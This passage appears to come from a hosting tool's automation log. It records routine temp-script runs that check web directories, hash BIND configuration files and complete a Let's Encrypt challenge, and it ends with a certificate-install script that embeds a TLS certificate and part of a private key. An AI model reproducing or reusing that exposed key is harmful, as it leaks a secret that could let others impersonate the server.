VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-12-15 06:01:21: Establishing a connection
2025-12-15 06:01:22: Establishing a connection
2025-12-15 06:01:23: 

PUT: /tmp/pkp970039

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-15 06:01:24: 

chmod 755 /tmp/pkp970039; /tmp/pkp970039; rm /tmp/pkp970039

2025-12-15 06:01:24: 


0


2025-12-16 06:00:03: Establishing a connection
2025-12-16 06:00:04: Establishing a connection
2025-12-16 06:00:05: 

PUT: /tmp/pkp373687

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-16 06:00:06: 

chmod 755 /tmp/pkp373687; /tmp/pkp373687; rm /tmp/pkp373687

2025-12-16 06:00:06: 


0


2025-12-17 06:00:02: Establishing a connection
2025-12-17 06:00:03: Establishing a connection
2025-12-17 06:00:04: 

PUT: /tmp/pkp683480

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-17 06:00:05: 

chmod 755 /tmp/pkp683480; /tmp/pkp683480; rm /tmp/pkp683480

2025-12-17 06:00:05: 


0


2025-12-18 06:00:02: Establishing a connection
2025-12-18 06:00:03: Establishing a connection
2025-12-18 06:00:04: 

PUT: /tmp/pkp126797

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-18 06:00:05: 

chmod 755 /tmp/pkp126797; /tmp/pkp126797; rm /tmp/pkp126797

2025-12-18 06:00:05: 


0


2025-12-19 06:00:03: Establishing a connection
2025-12-19 06:00:04: Establishing a connection
2025-12-19 06:00:05: 

PUT: /tmp/pkp269706

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-19 06:00:06: 

chmod 755 /tmp/pkp269706; /tmp/pkp269706; rm /tmp/pkp269706

2025-12-19 06:00:06: 


0


2025-12-19 12:10:39: Establishing a connection
2025-12-19 12:10:50: Establishing a connection
2025-12-19 12:10:50: 

PUT: /tmp/pkp402278

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-12-19 12:10:50: 

runuser -l bind -s /bin/bash -c '/tmp/pkp402278; rm /tmp/pkp402278'

2025-12-19 12:10:50: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-12-20 06:00:02: Establishing a connection
2025-12-20 06:00:04: Establishing a connection
2025-12-20 06:00:05: 

PUT: /tmp/pkp330350

#!/bin/bash
if [ -d "/var/www/hostz_repo/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-20 06:00:06: 

chmod 755 /tmp/pkp330350; /tmp/pkp330350; rm /tmp/pkp330350

2025-12-20 06:00:06: 


1


2025-12-20 06:00:07: Establishing a connection
2025-12-20 06:00:09: 

PUT: /tmp/pkp232657

#!/bin/bash
mkdir -p "/var/www/hostz_repo/.well-known/acme-challenge/"
cd "/var/www/hostz_repo/.well-known/acme-challenge/"
cat > rDr6aBLsOe8WnwIfisBMWhSIhpT2V-baxdqQxHSEetU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
rDr6aBLsOe8WnwIfisBMWhSIhpT2V-baxdqQxHSEetU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 rDr6aBLsOe8WnwIfisBMWhSIhpT2V-baxdqQxHSEetU


2025-12-20 06:00:10: 

chmod 755 /tmp/pkp232657; /tmp/pkp232657; rm /tmp/pkp232657

2025-12-20 06:00:10: 




2025-12-20 06:00:15: Establishing a connection
2025-12-20 06:00:17: 

PUT: /tmp/pkp433668

#!/bin/bash
mkdir -p "/var/www/hostz_repo/.well-known/acme-challenge/"
cd "/var/www/hostz_repo/.well-known/acme-challenge/"
rm rDr6aBLsOe8WnwIfisBMWhSIhpT2V-baxdqQxHSEetU


2025-12-20 06:00:18: 

chmod 755 /tmp/pkp433668; /tmp/pkp433668; rm /tmp/pkp433668

2025-12-20 06:00:18: 




2025-12-20 06:00:18: Establishing a connection
2025-12-20 06:00:19: 

PUT: /tmp/pkp965051

#!/bin/bash
temp_file=$(mktemp)
TARGET=39a67d98dbcb59994bb5bd629687cb8e.crt

cat > $temp_file <<'endmsg'
0c:8e:b6:5c:da:24:34:95:1d:53:27:6e:c4:b7:fe:79

-----BEGIN CERTIFICATE-----
MIIE+TCCA+GgAwIBAgISBZbJia8a9BItY8jhAHSK5OR9MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjIwMDUwMTQ1WhcNMjYwMzIwMDUwMTQ0WjAZMRcwFQYDVQQD
Ew5yZXBvLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AJ7+LJeus7ehBC2YpYatRlTnSwOc5KqaqtaNV/Z2nf5e/9Om7uPnTgOoVJiulgfP
U9gW9RCx3A2M/ygOUVxOrxkP9vSMcmQnWF0JYU1rdjv+ItnC2oKyKddZOFkpVskD
wAoFkyJVKXnYn+HSmNAY9uQo/h5MSgqPcNQV75iq68uO/GGqhdfhulJN85pz1bii
ymwuB7PY63UAHJZyYgxpCBEeXYsYJc7nBZAU+CFGaw7jTWPwYf8vwMbZqijitMeK
yttnyQql6BG+Tb3fQYAIJ3PZSns6J/1KAtxXmvtOimt4BpKnXt/LgmagTs5A81Pg
EDFRPBKieonn0Sncr+t9lYsCAwEAAaOCAh8wggIbMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQU3CCG6yF+zxi3aF6sMDJSI5id3qswHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAZBgNVHREEEjAQgg5yZXBvLmhvc3R6Lm9yZzATBgNV
HSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcjEzLmMu
bGVuY3Iub3JnLzEyNi5jcmwwggEEBgorBgEEAdZ5AgQCBIH1BIHyAPAAdgDLOPcV
iXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZs6WCsPAAAEAwBHMEUCIH0f
WsRSPlbh9QwOv5tNpYz94WQW5GVyO7ECj2EvuY29AiEA6ZxaGX7obsFPHeNv7i8z
3PLCLLKSMBzLOhE5qDuVpYgAdgDRbqmlaAd+ZjWgPzel3bwDpTxBEhTUiBj16TGz
I8uVBAAAAZs6WCvgAAAEAwBHMEUCIQDeGPscBRaqxICcTiYEQfq086Pruu5e83eb
mNc/SxTDRAIgY+fuKfP4ZPBuoxRgOcZhMhXy4UfgxQOXM1P0BWqeAXYwDQYJKoZI
hvcNAQELBQADggEBAHPF2Fx+0XMpZ5Gn3sNzw77qeDGSpA8EWApy7ZYdO6YH3s6q
eJMDZDnyzzhzYkwXv7jgNISSlM/6v5fzMJgjH3utG1WX6ZddXGTizn8m4/ymIbfu
QNhwqCxuwVzPWc4A4MYNfGyWURpMwksAkWzAbRtzlcYo4hDPkgXnAhHmbxCRyTqp
1NuYA8c8ebfsI+4NiYoKbiATe4raVvSn0tLz46m++RY2xauiWFQlMGeC3AnXchwW
RG2nq5USHOHCH+bcMj2lolAGvo9kz+YKDge+lAV+0oV4Y7Oei+NBoe7xpQp90I5g
UE/nQpRMawrib5MrQzJ00dMmWnm3+1akxpAkjAQ=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCe/iyXrrO3oQQt
mKWGrUZU50sDnOSqmqrWjVf2dp3+Xv/Tpu7j504DqFSYrpYHz1PYFvUQsdwNjP8o
DlFcTq8ZD/b0jHJkJ1hdCWFNa3Y7/iLZwtqCsinXWThZKVbJA8AKBZMiVSl52J/h
0pjQGPbkKP4eTEoKj3DUFe+YquvLjvxhqoXX4bpSTfOac9W4ospsLgez2Ot1AByW
cmIMaQgRHl2LGCXO5wWQFPghRmsO401j8GH/L8DG2aoo4rTHisrbZ8kKpegRvk29
30GACCdz2Up7Oif9SgLcV5r7TopreAaSp17fy4JmoE7OQPNT4BAxUTwSonqJ59Ep
3K/rfZWLAgMBAAECggEAMiXbbNBWsSGhTrxp4SvAFkGJwI749PKp1dhpGTzaooPW
TyzFBq9LRQ4P+MSAX+A+Atdi3qwqyz9gr4KsmN/cjJwjeYje/8YFMfsmbKPrfAqx
dVvnTffiCKGEi2Llk6uSI9cUTGzuExeHflPNjT2Cif6AAJBxfhk2Lj7o/o9SpjZp
DoxT9OSlsMnoTF7vWdUUIvgRHZNGlmnULBMlEDNEJkvdiS+700es4hE6Bk6EcT0y
